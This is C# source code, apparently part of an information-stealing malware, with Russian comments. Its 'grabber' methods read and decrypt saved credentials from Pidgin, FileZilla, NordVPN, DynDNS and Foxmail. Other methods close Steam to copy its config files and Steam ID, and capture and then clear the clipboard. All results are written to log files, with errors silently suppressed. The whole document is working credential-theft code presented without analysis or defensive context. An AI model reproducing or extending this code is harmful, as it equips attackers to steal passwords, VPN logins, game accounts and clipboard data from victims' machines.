public static void Inizialize_Grabber() { if (CombineEx.ExistsFile(GlobalPath.PidPurple)) { try { var build = new StringBuilder(); using (TextReader tr = new StreamReader(GlobalPath.PidPurple)) { var rd = new XmlTextReader(tr) { DtdProcessing = DtdProcessing.Prohibit }; var xs = new XmlDocument() { XmlResolver = null }; xs.Load(rd); { foreach (XmlNode nl in xs.DocumentElement.ChildNodes) { XmlNodeList il = nl?.ChildNodes; build.AppendLine($"Protocol: {il[0].InnerText}"); build.AppendLine($"UserName: {il[1].InnerText}"); build.AppendLine($"Password: {il[2].InnerText}{Environment.NewLine}"); } } rd.Close(); } CombineEx.CreateFile(true, GlobalPath.PidginSave, build?.ToString()); build.Clear(); } catch { } } }
/// <summary> /// Метод для сбора файлов со Steam директории /// </summary> /// <param name="exp">Сбор файлов без расширений ( *." )</param> /// <param name="congfiles">Сбор файлов с config директории</param> /// <param name="name">Именная папка Config</param> /// <param name="proc">Имя процесса Стим</param> public static void Inizialize(string exp, string congfiles, string name, string proc) { // Проверяем путь к папке стим if (CombineEx.ExistsDir(SteamPath.GetLocationSteam())) { CombineEx.CreateOrDeleteDirectoryEx(true, CombineEx.CombinePath(GlobalPath.Steam_Dir, name), FileAttributes.Normal); CombineEx.CreateFile(false, GlobalPath.SteamID, SteamProfiles.GetSteamID()); // Закрываем процесс чтобы можно было скопировать файлы. ProcessControl.Closing(proc); try { // Проходимся циклом по файлам без расширения foreach (var Unknown in Directory.EnumerateFiles(SteamPath.GetLocationSteam(), exp).Where( // Проверяем файл Unknown => File.Exists(Unknown)).Where( // Обходим файл .crash Unknown => !Unknown.Contains(".crash")).Select(Unknown => Unknown)) { CombineEx.FileCopy(Unknown, CombineEx.CombinePath(GlobalPath.Steam_Dir, CombineEx.GetFileName(Unknown)), true); } // Проходимся циклом по файлам конфиг foreach (var Config in Directory.EnumerateFiles(CombineEx.CombinePath(SteamPath.GetLocationSteam(), name), congfiles).Where( // Проверяем файл Config => File.Exists(Config)).Select(Config => Config)) { CombineEx.FileCopy(Config, CombineEx.CombinePath(CombineEx.CombinePath(GlobalPath.Steam_Dir, name), CombineEx.GetFileName(Config)), true); } } catch { } } }
public static void Inizialize_Grabber() { if (CombineEx.ExistsFile(GlobalPath.FZilla)) { var build = new StringBuilder(); try { var xf = new XmlDocument() { XmlResolver = null }; xf.Load(GlobalPath.FZilla); XmlNodeList bb = xf.GetElementsByTagName("RecentServers"); XmlNodeList bs = ((XmlElement)bb[0]).GetElementsByTagName("Server"); foreach (XmlElement va in bs) { build.AppendLine($"HostName: {va.GetElementsByTagName("Host")[0].InnerText}"); build.AppendLine($"Port: {va.GetElementsByTagName("Port")[0].InnerText}"); build.AppendLine($"UserName: {va.GetElementsByTagName("User")[0].InnerText}"); build.AppendLine($"Password: {DecryptTools.DecryptFZ(va.GetElementsByTagName("Pass")[0].InnerText)}{Environment.NewLine}"); } } catch { } CombineEx.CreateFile(true, GlobalPath.FileZillaSave, build?.ToString()); build.Clear(); } }
public static void Inizialize_Grabber() { try { var nord = new DirectoryInfo(GlobalPath.NordPath); if (nord.Exists) { foreach (var info in nord.GetDirectories("NordVpn.exe*").SelectMany(nordir => nordir.GetDirectories().Select(info => info))) { string userConfigPath = CombineEx.CombinePath(info.FullName, "user.config"); if (CombineEx.ExistsFile(userConfigPath)) { var xf = new XmlDocument() { XmlResolver = null }; xf.Load(userConfigPath); string encodedUsername = xf.SelectSingleNode("//setting[@name='Username']/value").InnerText; string encodedPassword = xf.SelectSingleNode("//setting[@name='Password']/value").InnerText; if (!string.IsNullOrWhiteSpace(encodedUsername) || !string.IsNullOrWhiteSpace(encodedPassword)) { string decuser = DecryptTools.DecodeNord(encodedUsername, DataProtectionScope.LocalMachine); string decpass = DecryptTools.DecodeNord(encodedPassword, DataProtectionScope.LocalMachine); CombineEx.CreateFile(true, GlobalPath.NordSave, $"Login: {decuser} \r\nPassword: {decpass}\r\n"); } } } } } catch { } }
public static void Inizialize_Grabber() { if (CombineEx.ExistsFile(GlobalPath.DynDns)) { try { string[] lines = File.ReadAllLines(GlobalPath.DynDns); if (lines.Length != 0) { CombineEx.CreateFile(true, GlobalPath.DynDnsSave, $"UserName: {lines[1].Substring(9)}\r\nPassword: { DecryptTools.DecryptDynDns(lines[2].Substring(9))}{Environment.NewLine}"); } } catch { } } }
public static void Inizialize() { CombineEx.CreateFile(true, GlobalPath.BufferSave, $"[Найдены данные из буфера обмена] - [{DateSet("MM.dd.yyyy - HH:mm:ss")}]\r\n\r\n{ClipboardEx.GetText()}\r\n\r\n"); NativeMethods.EmptyClipboard(); }
private static void Reader(string FilePath, string MailText, bool accfound = false) { try { Thread.Sleep(1000); using (var fs = new FileStream(FilePath, FileMode.Open)) { int ver = 0, len = (int)fs.Length; byte[] bits = new byte[len]; string buffer = string.Empty, acc = string.Empty, pw = string.Empty; int read = fs.Read(bits, 0, len); ver = bits[0] != 0xD0 ? 1 : 0; for (int jx = 0; jx < len; ++jx) { if (bits[jx] <= 0x20 || bits[jx] >= 0x7f || bits[jx] == 0x3d) { buffer = ""; } else { buffer += (char)bits[jx]; if (!buffer.Equals("Account") && !buffer.Equals("POP3Account")) { if (accfound && (buffer.Equals("Password") || buffer.Equals("POP3Password"))) { int index = jx + 9; if (ver == 0) { index = jx + 2; } while (bits[index] > 0x20 && bits[index] < 0x7f) { pw += (char)bits[index]; index++; } CombineEx.CreateFile(true, GlobalPath.FoxMailLog, $"{MailText} : {DecodeFox(ver, pw)}{Environment.NewLine}"); jx = index; break; } } else { int index = jx + 9; if (ver == 0) { index = jx + 2; } while (bits[index] > 0x20 && bits[index] < 0x7f) { acc += (char)bits[index]; index++; } accfound = true; jx = index; } } } } } catch { } }